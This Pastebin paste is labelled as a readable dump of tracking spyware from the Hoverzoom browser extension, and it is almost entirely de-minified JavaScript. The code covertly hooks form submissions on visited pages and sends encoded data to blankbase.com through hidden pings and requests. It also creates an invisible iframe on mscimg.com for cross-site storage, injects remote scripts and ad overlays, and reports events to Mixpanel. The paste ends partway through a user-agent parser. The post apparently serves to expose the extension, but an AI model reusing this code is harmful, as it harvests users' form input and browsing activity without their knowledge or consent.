Advertisement
Guest User

Hoverzoom Tracking Spyware - Readable

a guest
Dec 17th, 2013
14,259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function () {
  2.     try {
  3.  
  4.         var utils = function () {
  5.             function M() {
  6.                 try {
  7.                     for (var a = !1, b = 0; b < A.length; b++) {
  8.                         try {
  9.                             a = A[b]()
  10.                         } catch (c) {
  11.                             continue
  12.                         }
  13.                         break
  14.                     }
  15.                     return a
  16.                 } catch (d) {
  17.                     e("createXmlHttpObject ex: " + d.message)
  18.                 }
  19.             }
  20.  
  21.             function N(a, b, c) {
  22.                 a.onsubmit = function (a) {
  23.                     try {
  24.                         b(a)
  25.                     } catch (g) {
  26.                         e("FormListener onsubmit ex: " + g.message)
  27.                     } finally {
  28.                         if (typeof c == "function") return c.apply(this, Array.prototype.slice.call(arguments))
  29.                     }
  30.                 }
  31.             }
  32.  
  33.             function B(a) {
  34.                 try {
  35.                     var b = "";
  36.                     if (a)
  37.                         for (var c = document.getElementsByTagName("meta"), d = 0; d < c.length; d++) {
  38.                             var g = c[d];
  39.                             g.name && g.name.toLowerCase() ==
  40.                                 a.toLowerCase() && (b = g.content || "")
  41.                         }
  42.                     return b
  43.                 } catch (f) {
  44.                     e("-getMetaTagContentByName: " + f.message)
  45.                 }
  46.             }
  47.  
  48.             function q(a, b, c, d, g) {
  49.                 try {
  50.                     var g = g || "application/x-www-form-urlencoded",
  51.                         f = M();
  52.                     if (f) {
  53.                         f.open(b ? "POST" : "GET", a, !0);
  54.                         b && j(f.setRequestHeader) && f.setRequestHeader("Content-type", g);
  55.                         var k = typeof f.readyState == "undefined";
  56.                         f.onreadystatechange = f.onload = function () {
  57.                             try {
  58.                                 if (k || f.readyState == 4) typeof f.status != "undefined" && f.status != 200 && f.status != 304 ? e("sendRequest HTTP error " + f.status) : j(d) && d(f.responseText), f.onreadystatechange =
  59.                                     f.onload = null
  60.                             } catch (a) {
  61.                                 e("sendRequest onreadystatechange ex: " + a.message)
  62.                             }
  63.                         };
  64.                         f.readyState == 4 ? e("sendRequest readystate 4") : (f.send(b), !k && c && setTimeout(function () {
  65.                             try {
  66.                                 f.readyState != 4 && (f.abort(), e("sendRequest aborted"))
  67.                             } catch (a) {
  68.                                 e("sendRequest timeout ex: " + a.message)
  69.                             }
  70.                         }, c))
  71.                     }
  72.                 } catch (h) {
  73.                     e("sendRequest ex: " + h.message)
  74.                 }
  75.             }
  76.  
  77.             function e(a, b) {
  78.                 try {
  79.                     P ? console.log("debug: " + a) : (typeof mixpanel == "undefined" && function (a, b) {
  80.                         window.mixpanel = b;
  81.                         var c, e, h;
  82.                         c = a.createElement("script");
  83.                         c.type = "text/javascript";
  84.                         c.async = !0;
  85.                         c.src = ("https:" === a.location.protocol ? "https:" : "http:") + "//cdn.mxpnl.com/libs/mixpanel-2.1.min.js";
  86.                         a.getElementsByTagName("head")[0].appendChild(c);
  87.                         b._i = [];
  88.                         b.init = function (a, c, d) {
  89.                             function f(a, b) {
  90.                                 var c = b.split(".");
  91.                                 2 == c.length && (a = a[c[0]], b = c[1]);
  92.                                 a[b] = function () {
  93.                                     a.push([b].concat(Array.prototype.slice.call(arguments, 0)))
  94.                                 }
  95.                             }
  96.                             var j = b;
  97.                             "undefined" !== typeof d ? j = b[d] = [] : d = "mixpanel";
  98.                             j.people = j.people || [];
  99.                             e = "disable track track_pageview track_links track_forms register register_once unregister identify name_tag set_config people.identify people.set people.increment".split(" ");
  100.                             for (h = 0; h < e.length; h++) f(j, e[h]);
  101.                             b._i.push([a, c, d])
  102.                         };
  103.                         b.__SV = 1.1
  104.                     }(document, window.mixpanel || []), Math.random() < C && (mixpanel[n] || mixpanel.init(D, {}, n), mixpanel[n].track(a, b)))
  105.                 } catch (c) {}
  106.             }
  107.  
  108.             function E(a, b, c) {
  109.                 try {
  110.                     if (a.addEventListener) return a.addEventListener(b, c, !1);
  111.                     if (a.attachEvent) return a.attachEvent("on" + b, c)
  112.                 } catch (d) {
  113.                     e("addEventListener ex: " + d.message)
  114.                 }
  115.             }
  116.  
  117.             function F(a, b, c) {
  118.                 try {
  119.                     if (a.removeEventListener) return a.removeEventListener(b, c, !1);
  120.                     if (a.detachEvent) return a.detachEvent("on" + b, c)
  121.                 } catch (d) {
  122.                     e("removeEventListener ex: " +
  123.                         d.message)
  124.                 }
  125.             }
  126.  
  127.             function m() {
  128.                 try {
  129.                     F(document, "DOMContentLoaded", m);
  130.                     for (F(window, "load", m); r.length;) setTimeout(r.pop(), 0)
  131.                 } catch (a) {
  132.                     e("processReady ex: " + a.message)
  133.                 }
  134.             }
  135.  
  136.             function j(a) {
  137.                 return typeof a === "function"
  138.             }
  139.  
  140.             function G(a) {
  141.                 var b = "",
  142.                     c = "";
  143.                 a.length === 1 ? (b = H, c = a[0]) : (b = I, c = a.join(J));
  144.                 K(b, s + c)
  145.             }
  146.  
  147.             function t() {
  148.                 try {
  149.                     return String(Math.round(Math.random() * 999999999))
  150.                 } catch (a) {
  151.                     e("-getToken: " + a.message)
  152.                 }
  153.             }
  154.  
  155.             function L(a, b, c) {
  156.                 function d() {
  157.                     try {
  158.                         j(b) && b(h)
  159.                     } catch (a) {
  160.                         e("appendIframe.callCallback ex: " + a.message)
  161.                     }
  162.                 }
  163.  
  164.                 function g() {
  165.                     try {
  166.                         k--,
  167.                         document.body ? (document.body.appendChild(h), clearInterval(f)) : k && clearInterval(f)
  168.                     } catch (a) {
  169.                         clearInterval(f), e("appendIframe.tryAppend ex: " + a.message)
  170.                     }
  171.                 }
  172.                 try {
  173.                     var f, k = 4,
  174.                         h = document.createElement("iframe");
  175.                     h.style.width = "0px";
  176.                     h.style.height = "0px";
  177.                     h.style.display = "none";
  178.                     h.src = a;
  179.                     if (c) h.id = c;
  180.                     h.attachEvent ? h.attachEvent("onload", d) : h.onload = d;
  181.                     f = setInterval(g, 200)
  182.                 } catch (O) {
  183.                     e("appendIframe ex: " + O.message)
  184.                 }
  185.             }
  186.  
  187.             function p(a, b) {
  188.                 try {
  189.                     b = b || t(), u.contentWindow.postMessage(b + v + a, o)
  190.                 } catch (c) {
  191.                     e("postMessageToFrame ex: " +
  192.                         c.message)
  193.                 }
  194.             }
  195.  
  196.             function w(a, b, c) {
  197.                 try {
  198.                     if (u) {
  199.                         var d = window.addEventListener ? "addEventListener" : "attachEvent",
  200.                             g = window[d],
  201.                             f = window[window.addEventListener ? "removeEventListener" : "detachEvent"],
  202.                             k = d == "attachEvent" ? "onmessage" : "message",
  203.                             h = t(),
  204.                             j = function (a) {
  205.                                 try {
  206.                                     var c;
  207.                                     if (c = a.origin == o) {
  208.                                         var d;
  209.                                         try {
  210.                                             d = a.data.split(v)[0]
  211.                                         } catch (g) {
  212.                                             e("getPostMessageToken ex: " + g.message)
  213.                                         }
  214.                                         c = d == h
  215.                                     }
  216.                                     if (c) {
  217.                                         f(k, j, !1);
  218.                                         var l;
  219.                                         var i = a.data;
  220.                                         try {
  221.                                             i = i.split(v)[1], i.indexOf(x) > -1 && (i = i.split(x)), l = i
  222.                                         } catch (m) {
  223.                                             e("getPostMessageData ex: " + m.message)
  224.                                         }
  225.                                         b(l)
  226.                                     }
  227.                                 } catch (n) {}
  228.                             };
  229.                         g(k, j, !1);
  230.                         d = "get" + i;
  231.                         a instanceof Array ? (a = a.join(x), d = c ? "getandremovemulti" + i : "getmulti" + i) : c && (d = "getandremove" + i);
  232.                         p(d + a, h)
  233.                     }
  234.                 } catch (l) {
  235.                     e("getXdData ex: " + l.message)
  236.                 }
  237.             }
  238.  
  239.             function K(a, b, c) {
  240.                 try {
  241.                     var d = "",
  242.                         d = c == !0 ? "setifnull" + i + a + "***" + b : a + i + b;
  243.                     p(d)
  244.                 } catch (g) {
  245.                     e("setXdData ex: " + g.message)
  246.                 }
  247.             }
  248.  
  249.             function y(a) {
  250.                 try {
  251.                     if (a)(new Image).src = a
  252.                 } catch (b) {
  253.                     e("ping: " + b.message)
  254.                 }
  255.             }
  256.             var u, z = "gsdiframe",
  257.                 Q = window.location.protocol,
  258.                 R = window.location.host,
  259.                 o = "https://c.mscimg.com",
  260.                 P = !1,
  261.                 D = "c24a2a4d6517be45913068244ff9297e",
  262.                 n = "dataman",
  263.                 C = 0.0010,
  264.                 H = "gQueue",
  265.                 I = "pQueue",
  266.                 s = "|^?,|",
  267.                 J = "|^!,|",
  268.                 v = "^^^",
  269.                 x = "~~~",
  270.                 i = ":::",
  271.                 r = [],
  272.                 A = [
  273.                     function () {
  274.                         return new XDomainRequest
  275.                     },
  276.                     function () {
  277.                         return new XMLHttpRequest
  278.                     },
  279.                     function () {
  280.                         return new ActiveXObject("Msxml2.XMLHTTP")
  281.                     },
  282.                     function () {
  283.                         return new ActiveXObject("Msxml3.XMLHTTP")
  284.                     },
  285.                     function () {
  286.                         return new ActiveXObject("Microsoft.XMLHTTP")
  287.                     }
  288.                 ],
  289.                 S = function () {
  290.                     var a = RegExp("^(?:([^:/?#.]+):)?(?://(?:([^/?#]*)@)?([\\w\\d\\-\\u0100-\\uffff.%]*)(?::([0-9]+))?)?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$");
  291.                     return function (b) {
  292.                         b = b.match(a);
  293.                         return {
  294.                             scheme: b[1],
  295.                             user_info: b[2],
  296.                             domain: b[3],
  297.                             port: b[4],
  298.                             path: b[5],
  299.                             query_data: b[6],
  300.                             fragment: b[7]
  301.                         }
  302.                     }
  303.                 }();
  304.             return {
  305.                 getElementsByClassName: function (a, b) {
  306.                     try {
  307.                         var c;
  308.                         if (a && j(a.getElementsByClassName)) c = a.getElementsByClassName(b);
  309.                         else a: {
  310.                             try {
  311.                                 for (var d = [], g = RegExp("(^| )" + b + "( |$)"), f = a.getElementsByTagName("*"), k = 0, h = f.length; k < h; k++) g.test(f[k].className) && d.push(f[k]);
  312.                                 c = d;
  313.                                 break a
  314.                             } catch (i) {
  315.                                 e("getElementsByClassName ex: " + i.message)
  316.                             }
  317.                             c = void 0
  318.                         }
  319.                         return c
  320.                     } catch (l) {}
  321.                 },
  322.                 track: e,
  323.                 clearGlobal: function (a) {
  324.                     try {
  325.                         delete window[a]
  326.                     } catch (b) {
  327.                         window[a] =
  328.                             void 0
  329.                     }
  330.                 },
  331.                 ping: y,
  332.                 sendRequest: q,
  333.                 configureTracking: function (a, b, c) {
  334.                     try {
  335.                         D = b, n = a, C = c
  336.                     } catch (d) {
  337.                         e("configureTracking ex: " + d.message)
  338.                     }
  339.                 },
  340.                 sendBbMsg: function (a, b, c, d, g, f) {
  341.                     try {
  342.                         for (var k = d ? document.location.protocol : "https:", d = [], h = 0, i = b.length; h < i; h++) d.push(encodeURIComponent(b[h]));
  343.                         var l = a + "=" + d.join("|,|"),
  344.                             a = k + "//jsl.blankbase.com";
  345.                         g ? f ? G([a, l, 5E3]) : q(a, l, 5E3, c) : (f ? G([a + "?" + l]) : y(a + "?" + l), j(c) && c())
  346.                     } catch (m) {
  347.                         e("sendBbMsg ex: " + m.message)
  348.                     }
  349.                 },
  350.                 getEpoch: function () {
  351.                     try {
  352.                         return (new Date).getTime()
  353.                     } catch (a) {
  354.                         e("getEpoch ex: " +
  355.                             a.message)
  356.                     }
  357.                 },
  358.                 format: function (a) {
  359.                     try {
  360.                         for (var b = a, c = 1; c < arguments.length; c++) b = b.replace(RegExp("\\{" + (c - 1) + "\\}", "gi"), arguments[c]);
  361.                         return b
  362.                     } catch (d) {
  363.                         e("-format: " + d.message)
  364.                     }
  365.                 },
  366.                 setupXdLocalStorage: function (a, b) {
  367.                     try {
  368.                         o = b || o;
  369.                         z = b ? "" : z;
  370.                         var c = o + "/gsd.html?v=3&d=",
  371.                             d;
  372.                         try {
  373.                             d = encodeURIComponent((Q + "//" + R).replace(/,/g, "$cma;"))
  374.                         } catch (g) {
  375.                             e("encodeUriComponent ex: " + g.message)
  376.                         }
  377.                         L(c + d, function (b) {
  378.                             try {
  379.                                 u = b, j(a) && a(b)
  380.                             } catch (c) {
  381.                                 e("setupXdLocalStorage callCallback ex: " + c.message)
  382.                             }
  383.                         }, z)
  384.                     } catch (f) {
  385.                         e("setupXdLocalStorage ex: " +
  386.                             f.message)
  387.                     }
  388.                 },
  389.                 appendIframe: L,
  390.                 getEventTarget: function (a) {
  391.                     try {
  392.                         var b = a || window.event,
  393.                             a = null;
  394.                         b && (a = b.target == null ? b.srcElement : b.target);
  395.                         return a
  396.                     } catch (c) {
  397.                         e("getEventTarget ex: " + c.message)
  398.                     }
  399.                 },
  400.                 getToken: t,
  401.                 removeXdData: function (a) {
  402.                     try {
  403.                         p("remove" + i + a)
  404.                     } catch (b) {
  405.                         e("removeXdData ex: " + b.message)
  406.                     }
  407.                 },
  408.                 setXdData: K,
  409.                 getXdData: w,
  410.                 incrementXdData: function (a) {
  411.                     try {
  412.                         p("increment" + i + a)
  413.                     } catch (b) {
  414.                         e("incrementXdData ex: " + b.message)
  415.                     }
  416.                 },
  417.                 inArray: function (a, b) {
  418.                     var c = -1;
  419.                     try {
  420.                         for (var d = 0; d < a.length; d++)
  421.                             if (a[d] == b) {
  422.                                 c = d;
  423.                                 break
  424.                             }
  425.                     } catch (e) {
  426.                         utils.track("inArray ex: " +
  427.                             e.message)
  428.                     } finally {
  429.                         return c
  430.                     }
  431.                 },
  432.                 locationInList: function (a, b) {
  433.                     var c = -1;
  434.                     try {
  435.                         for (var d = b || window.location.hostname, g = 0; g < a.length; g++)
  436.                             if (d.indexOf(a[g]) > -1) {
  437.                                 c = g;
  438.                                 break
  439.                             }
  440.                     } catch (f) {
  441.                         e("locationInList: " + f.message)
  442.                     } finally {
  443.                         return c
  444.                     }
  445.                 },
  446.                 isLongerAgoThan: function (a, b) {
  447.                     try {
  448.                         return (new Date).getTime() - a > b
  449.                     } catch (c) {
  450.                         e("isLongerAgoThan: " + c.message)
  451.                     }
  452.                 },
  453.                 isNull: function (a) {
  454.                     return a == null || a == "null" || a == void 0
  455.                 },
  456.                 splitUri: S,
  457.                 isDupValueInArrays: function (a, b) {
  458.                     try {
  459.                         for (var c = !1, d = 0; d < a.length; d++) {
  460.                             for (var g = 0; g < b.length; g++)
  461.                                 if (a[d] ==
  462.                                     b[g]) {
  463.                                     c = !0;
  464.                                     break
  465.                                 }
  466.                             if (c) break
  467.                         }
  468.                         return c
  469.                     } catch (f) {
  470.                         e("isDupValueInArrays ex: " + f.message)
  471.                     }
  472.                 },
  473.                 listenForFormSubmits: function (a) {
  474.                     var b = [];
  475.                     try {
  476.                         if (j(a))
  477.                             for (var c = document.getElementsByTagName("form"), d = 0; d < c.length; d++) {
  478.                                 var g = c[d],
  479.                                     f;
  480.                                 var k = !1;
  481.                                 try {
  482.                                     for (var h = g.getElementsByTagName("input"), i = 0, l = 0; l < h.length; l++) {
  483.                                         var m = h[l];
  484.                                         if (m.type != "hidden") {
  485.                                             if (m.type == "password") {
  486.                                                 i = 0;
  487.                                                 break
  488.                                             }
  489.                                             i++
  490.                                         }
  491.                                     }
  492.                                     i > 3 && (k = !0)
  493.                                 } catch (n) {
  494.                                     e("formMeetsRequirements ex: " + n.message)
  495.                                 } finally {
  496.                                     f = k
  497.                                 }
  498.                                 f && b.push(new N(g, a, g.onsubmit))
  499.                             }
  500.                     } catch (o) {
  501.                         e("listenForFormSubmits ex: " +
  502.                             o.message)
  503.                     }
  504.                 },
  505.                 loadScript: function (a, b) {
  506.                     try {
  507.                         var c = document.createElement("script");
  508.                         c.type = "text/javascript";
  509.                         c.src = a;
  510.                         var d = !1;
  511.                         c.onload = c.onreadystatechange = function () {
  512.                             if (!d && (!this.readyState || this.readyState == "loaded" || this.readyState == "complete")) d = !0, c.onload = c.onreadystatechange = null, j(b) && b(), c.parentNode.removeChild(c)
  513.                         };
  514.                         document.body.appendChild(c)
  515.                     } catch (g) {
  516.                         e("loadScript ex: " + g.message)
  517.                     }
  518.                 },
  519.                 loadScriptWithJsonP: function (a, b, c) {
  520.                     try {
  521.                         var d = c || "callback" + Math.floor(Math.random() * 999999);
  522.                         a += "&callback=" +
  523.                             d;
  524.                         window[d] = function (a) {
  525.                             try {
  526.                                 j(b) && b(a)
  527.                             } catch (c) {
  528.                                 e("loadScriptWithJsonP tempCallback ex: " + c.message)
  529.                             } finally {
  530.                                 delete window[d]
  531.                             }
  532.                         };
  533.                         utils.loadScript(a)
  534.                     } catch (g) {
  535.                         e("loadScriptWithJsonP ex: " + g.message)
  536.                     }
  537.                 },
  538.                 showAdvertisementLabel: function (a, b) {
  539.                     try {
  540.                         var c = document.createElement("div"),
  541.                             d = "Advertisement";
  542.                         a && (d = a + " " + d);
  543.                         b && (d = "<a href='" + b + "'>" + d + "</a>");
  544.                         c.innerHTML = d;
  545.                         c.style.cssText = "padding:4px;position:absolute;width:auto;height:auto;background-color:#DEDEDE;top:0px;right:0px;color:#666;z-index:2147483647;";
  546.                         document.body.appendChild(c)
  547.                     } catch (g) {
  548.                         e("showAdvertisementLabel: " + g.message)
  549.                     }
  550.                 },
  551.                 checkForKeywordMatch: function (a, b, c) {
  552.                     try {
  553.                         var d = null;
  554.                         if (a && b instanceof Array)
  555.                             for (var a = c ? a : a.toLowerCase(), g = 0; g < b.length; g++) {
  556.                                 var f = c ? b[g] : b[g].toLowerCase();
  557.                                 if (a.indexOf(f) > -1) {
  558.                                     d = f;
  559.                                     break
  560.                                 }
  561.                             }
  562.                         return d
  563.                     } catch (i) {
  564.                         e("checkForKeywordMatch ex: " + i.message)
  565.                     }
  566.                 },
  567.                 getPageKeywords: function () {
  568.                     try {
  569.                         var a = B("keywords");
  570.                         a != "" && (a = a.split(","));
  571.                         return a
  572.                     } catch (b) {
  573.                         e("getPageKeywords ex: " + b.message)
  574.                     }
  575.                 },
  576.                 getPageTitle: function () {
  577.                     try {
  578.                         return document.title ||
  579.                             ""
  580.                     } catch (a) {
  581.                         e("getPageTitle ex: " + a.message)
  582.                     }
  583.                 },
  584.                 getPageDescription: function () {
  585.                     try {
  586.                         return B("description") || ""
  587.                     } catch (a) {
  588.                         e("getPageDescription ex: " + a.message)
  589.                     }
  590.                 },
  591.                 getElementContent: function (a) {
  592.                     try {
  593.                         var b = "";
  594.                         if (a && a.innerHTML) {
  595.                             b = a.innerHTML;
  596.                             a: {
  597.                                 try {
  598.                                     b = b.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, "");
  599.                                     break a
  600.                                 } catch (c) {
  601.                                     e("removeScriptTags ex: " + c.message)
  602.                                 }
  603.                                 b = void 0
  604.                             }
  605.                             a: {
  606.                                 try {
  607.                                     b = b.replace(/(<([^>]+)>)/ig, "");
  608.                                     break a
  609.                                 } catch (d) {
  610.                                     e("removeHtmlTags ex: " + d.message)
  611.                                 }
  612.                                 b = void 0
  613.                             }
  614.                             a: {
  615.                                 try {
  616.                                     b = b.replace(/&.*;/g,
  617.                                         "");
  618.                                     break a
  619.                                 } catch (g) {
  620.                                     e("removeHtmlEntities ex: " + g.message)
  621.                                 }
  622.                                 b = void 0
  623.                             }
  624.                             b = removeControlChars(b);
  625.                             b = removeHashChars(b)
  626.                         }
  627.                         return b
  628.                     } catch (f) {
  629.                         e("getElementContent ex: " + f.message)
  630.                     }
  631.                 },
  632.                 getObjectKeys: function (a) {
  633.                     try {
  634.                         var b = [];
  635.                         if (a)
  636.                             for (var c in a) b.push(c);
  637.                         return b
  638.                     } catch (d) {
  639.                         e("getObjectKeys: " + d.message)
  640.                     }
  641.                 },
  642.                 getObjectValues: function (a) {
  643.                     try {
  644.                         var b = [];
  645.                         if (a)
  646.                             for (var c in a) b.push(a[c]);
  647.                         return b
  648.                     } catch (d) {
  649.                         e("getObjectKeys: " + d.message)
  650.                     }
  651.                 },
  652.                 registerReady: function (a) {
  653.                     try {
  654.                         r.push(a), document.readyState == "complete" ? m() : (E(document,
  655.                             "DOMContentLoaded", m), E(window, "load", m))
  656.                     } catch (b) {
  657.                         e("registerReady ex: " + b.message)
  658.                     }
  659.                 },
  660.                 replaceSpecialChars: function (a) {
  661.                     try {
  662.                         var b;
  663.                         try {
  664.                             b = a.replace(/\n/g, "|^n|").replace(/\r/g, "|^r|").replace(/\t/g, "|^t|")
  665.                         } catch (c) {
  666.                             e("replaceControlChars ex: " + c.message)
  667.                         }
  668.                         var d;
  669.                         try {
  670.                             d = b.replace(/#/g, "|^hash|")
  671.                         } catch (g) {
  672.                             e("replaceHashChars ex: " + g.message)
  673.                         }
  674.                         return d
  675.                     } catch (f) {
  676.                         e("replaceSpecialChars ex: " + f.message)
  677.                     }
  678.                 },
  679.                 isFunction: j,
  680.                 sendFromQueue: function () {
  681.                     w(H, function (a) {
  682.                         if (a && a !== "null")
  683.                             for (var a = a.split(s), b = 0; b < a.length; b++) a[b] &&
  684.                                 y(a[b])
  685.                     }, !0);
  686.                     w(I, function (a) {
  687.                         if (a && a !== "null")
  688.                             for (var a = a.split(s), b = 0; b < a.length; b++)
  689.                                 if (a[b]) {
  690.                                     var c = a[b].split(J);
  691.                                     q(c[0], c[1], c[2])
  692.                                 }
  693.                     }, !0)
  694.                 },
  695.                 localStorageAvailable: typeof localStorage != "undefined"
  696.             }
  697.         }();
  698.  
  699.         var UAParser = function (d, i) {
  700.             var f = {
  701.                 has: function (b, c) {
  702.                     return c.toLowerCase().indexOf(b.toLowerCase()) !== -1
  703.                 },
  704.                 lowerize: function (b) {
  705.                     return b.toLowerCase()
  706.                 }
  707.             }, g = function () {
  708.                     for (var b, c = 0, a, h, j, d, e, g = arguments; c < g.length; c += 2) {
  709.                         e = g[c];
  710.                         var f = g[c + 1];
  711.                         if (typeof b === "undefined")
  712.                             for (j in b = {}, f) a = f[j], typeof a === "object" ? b[a[0]] = i : b[a] = i;
  713.                         for (a = h = 0; a < e.length; a++)
  714.                             if (d = e[a].exec(this.getUA())) {
  715.                                 for (j = 0; j < f.length; j++) e = d[++h], a = f[j], typeof a === "object" && a.length > 0 ? a.length == 2 ? b[a[0]] = typeof a[1] == "function" ? a[1].call(this,
  716.                                     e) : a[1] : a.length == 3 ? b[a[0]] = typeof a[1] === "function" && (!a[1].exec || !a[1].test) ? e ? a[1].call(this, e, a[2]) : i : e ? e.replace(a[1], a[2]) : i : a.length == 4 && (b[a[0]] = e ? a[3].call(this, e.replace(a[1], a[2])) : i) : b[a] = e ? e : i;
  717.                                 break
  718.                             }
  719.                         if (d) break
  720.                     }
  721.                     return b
  722.                 }, h = function (b, c) {
  723.                     for (var a in c)
  724.                         if (typeof c[a] === "object" && c[a].length > 0)
  725.                             for (var d = 0; d < c[a].length; d++) {
  726.                                 if (f.has(c[a][d], b)) return a === "?" ? i : a
  727.                             } else if (f.has(c[a], b)) return a === "?" ? i : a;
  728.                     return b
  729.                 }, l = {
  730.                     ME: "4.90",
  731.                     "NT 3.11": "NT3.51",
  732.                     "NT 4.0": "NT4.0",
  733.                     2E3: "NT 5.0",
  734.                     XP: ["NT 5.1",
  735.                         "NT 5.2"
  736.                     ],
  737.                     Vista: "NT 6.0",
  738.                     7: "NT 6.1",
  739.                     8: "NT 6.2",
  740.                     "8.1": "NT 6.3",
  741.                     RT: "ARM"
  742.                 }, m = [
  743.                     [/(opera\smini)\/((\d+)?[\w\.-]+)/i, /(opera\s[mobiletab]+).+version\/((\d+)?[\w\.-]+)/i, /(opera).+version\/((\d+)?[\w\.]+)/i, /(opera)[\/\s]+((\d+)?[\w\.]+)/i],
  744.                     ["name", "version", "major"],
  745.                     [/\s(opr)\/((\d+)?[\w\.]+)/i],
  746.                     [
  747.                         ["name", "Opera"], "version", "major"
  748.                     ],
  749.                     [/(kindle)\/((\d+)?[\w\.]+)/i, /(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?((\d+)?[\w\.]+)*/i, /(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?((\d+)?[\w\.]*)/i, /(?:ms|\()(ie)\s((\d+)?[\w\.]+)/i,
  750.                         /(rekonq)((?:\/)[\w\.]+)*/i, /(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron)\/((\d+)?[\w\.-]+)/i
  751.                     ],
  752.                     ["name", "version", "major"],
  753.                     [/(trident).+rv[:\s]((\d+)?[\w\.]+).+like\sgecko/i],
  754.                     [
  755.                         ["name", "IE"], "version", "major"
  756.                     ],
  757.                     [/(yabrowser)\/((\d+)?[\w\.]+)/i],
  758.                     [
  759.                         ["name", "Yandex"], "version", "major"
  760.                     ],
  761.                     [/(comodo_dragon)\/((\d+)?[\w\.]+)/i],
  762.                     [
  763.                         ["name", /_/g, " "], "version", "major"
  764.                     ],
  765.                     [/(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?((\d+)?[\w\.]+)/i],
  766.                     ["name", "version", "major"],
  767.                     [/(dolfin)\/((\d+)?[\w\.]+)/i],
  768.                     [
  769.                         ["name", "Dolphin"], "version", "major"
  770.                     ],
  771.                     [/((?:android.+)crmo|crios)\/((\d+)?[\w\.]+)/i],
  772.                     [
  773.                         ["name", "Chrome"], "version", "major"
  774.                     ],
  775.                     [/version\/((\d+)?[\w\.]+).+?mobile\/\w+\s(safari)/i],
  776.                     ["version", "major", ["name", "Mobile Safari"]],
  777.                     [/version\/((\d+)?[\w\.]+).+?(mobile\s?safari|safari)/i],
  778.                     ["version", "major", "name"],
  779.                     [/webkit.+?(mobile\s?safari|safari)((\/[\w\.]+))/i],
  780.                     ["name", ["major", h, {
  781.                             1: ["/8", "/1", "/3"],
  782.                             2: "/4",
  783.                             "?": "/"
  784.                         }],
  785.                         ["version", h, {
  786.                             "1.0": "/8",
  787.                             "1.2": "/1",
  788.                             "1.3": "/3",
  789.                             "2.0": "/412",
  790.                             "2.0.2": "/416",
  791.                             "2.0.3": "/417",
  792.                             "2.0.4": "/419",
  793.                             "?": "/"
  794.                         }]
  795.                     ],
  796.                     [/(konqueror)\/((\d+)?[\w\.]+)/i, /(webkit|khtml)\/((\d+)?[\w\.]+)/i],
  797.                     ["name", "version", "major"],
  798.                     [/(navigator|netscape)\/((\d+)?[\w\.-]+)/i],
  799.                     [
  800.                         ["name", "Netscape"], "version", "major"
  801.                     ],
  802.                     [/(swiftfox)/i, /(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?((\d+)?[\w\.\+]+)/i, /(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/((\d+)?[\w\.-]+)/i, /(mozilla)\/((\d+)?[\w\.]+).+rv\:.+gecko\/\d+/i, /(uc\s?browser|polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf|qqbrowser)[\/\s]?((\d+)?[\w\.]+)/i,
  803.                         /(links)\s\(((\d+)?[\w\.]+)/i, /(gobrowser)\/?((\d+)?[\w\.]+)*/i, /(ice\s?browser)\/v?((\d+)?[\w\._]+)/i, /(mosaic)[\/\s]((\d+)?[\w\.]+)/i
  804.                     ],
  805.                     ["name", "version", "major"]
  806.                 ],
  807.                 n = [
  808.                     [/(?:(amd|x(?:(?:86|64)[_-])?|wow|win)64)[;\)]/i],
  809.                     [
  810.                         ["architecture", "amd64"]
  811.                     ],
  812.                     [/((?:i[346]|x)86)[;\)]/i],
  813.                     [
  814.                         ["architecture", "ia32"]
  815.                     ],
  816.                     [/windows\s(ce|mobile);\sppc;/i],
  817.                     [
  818.                         ["architecture", "arm"]
  819.                     ],
  820.                     [/((?:ppc|powerpc)(?:64)?)(?:\smac|;|\))/i],
  821.                     [
  822.                         ["architecture", /ower/, "", f.lowerize]
  823.                     ],
  824.                     [/(sun4\w)[;\)]/i],
  825.                     [
  826.                         ["architecture", "sparc"]
  827.                     ],
  828.                     [/(ia64(?=;)|68k(?=\))|arm(?=v\d+;)|(?:irix|mips|sparc)(?:64)?(?=;)|pa-risc)/i],
  829.                     ["architecture", f.lowerize]
  830.                 ],
  831.                 o = [
  832.                     [/\((ipad|playbook);[\w\s\);-]+(rim|apple)/i],
  833.                     ["model", "vendor", ["type", "tablet"]],
  834.                     [/(hp).+(touchpad)/i, /(kindle)\/([\w\.]+)/i, /\s(nook)[\w\s]+build\/(\w+)/i, /(dell)\s(strea[kpr\s\d]*[\dko])/i],
  835.                     ["vendor", "model", ["type", "tablet"]],
  836.                     [/\((ip[honed|\s\w*]+);.+(apple)/i],
  837.                     ["model", "vendor", ["type", "mobile"]],
  838.                     [/(blackberry)[\s-]?(\w+)/i, /(blackberry|benq|palm(?=\-)|sonyericsson|acer|asus|dell|huawei|meizu|motorola)[\s_-]?([\w-]+)*/i, /(hp)\s([\w\s]+\w)/i, /(asus)-?(\w+)/i],
  839.                     ["vendor", "model", ["type", "mobile"]],
  840.                     [/\((bb10);\s(\w+)/i],
  841.                     [
  842.                         ["vendor", "BlackBerry"], "model", ["type", "mobile"]
  843.                     ],
  844.                     [/android.+((transfo[prime\s]{4,10}\s\w+|eeepc|slider\s\w+))/i],
  845.                     [
  846.                         ["vendor", "Asus"], "model", ["type", "tablet"]
  847.                     ],
  848.                     [/(sony)\s(tablet\s[ps])/i],
  849.                     ["vendor", "model", ["type", "tablet"]],
  850.                     [/(nintendo)\s([wids3u]+)/i],
  851.                     ["vendor", "model", ["type", "console"]],
  852.                     [/((playstation)\s[3portablevi]+)/i],
  853.                     [
  854.                         ["vendor", "Sony"], "model", ["type", "console"]
  855.                     ],
  856.                     [/(sprint\s(\w+))/i],
  857.                     [
  858.                         ["vendor", h, {
  859.                             HTC: "APA",
  860.                             Sprint: "Sprint"
  861.                         }],
  862.                         ["model",
  863.                             h, {
  864.                                 "Evo Shift 4G": "7373KT"
  865.                             }
  866.                         ],
  867.                         ["type", "mobile"]
  868.                     ],
